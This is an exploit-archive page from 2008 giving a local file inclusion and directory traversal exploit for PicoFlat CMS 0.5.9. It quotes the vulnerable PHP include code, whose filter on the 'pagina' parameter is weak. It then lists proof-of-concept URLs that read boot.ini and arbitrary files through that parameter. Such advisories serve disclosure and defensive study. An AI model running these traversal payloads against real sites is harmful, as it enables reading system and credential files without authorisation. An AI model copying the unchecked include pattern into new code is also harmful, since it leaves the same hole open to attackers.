[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : PicoFlat CMS 0.5.9 Local File Inclusion Vulnerabilitty (win)
# Published : 2008-05-29
# Author : gmda
# Previous Title : AirvaeCommerce 3.0 (pid) Remote SQL Injection Vulnerability
# Next Title : CMS from Scratch <= 1.1.3 (fckeditor) Remote Shell Upload Exploit 


---------------------------------------------------------------------------
type attacak:Local File inclusion and that the possibility of a
Directory traversal Windows disclosure boot.ini

site name picoflatcms 0.5.9

download http://picoflat.altervista.org/index.php?

by gmda

<!-- gmda@email.it -->


---------------------------------------------------------------------------

bug code

<?php             if (eregi('://', $pagina) || eregi('?', $pagina)) {
                $pagina = "";
                include "notfound.php";
            }else{
                include $pagina;             }
        ?>

p.o.c

http://127.0.0.1/path/index.php?pagina=/./././././././boot.ini

http://127.0.0.1/path/index.php?pagina=[file]

# www.Syue.com [2008-05-29]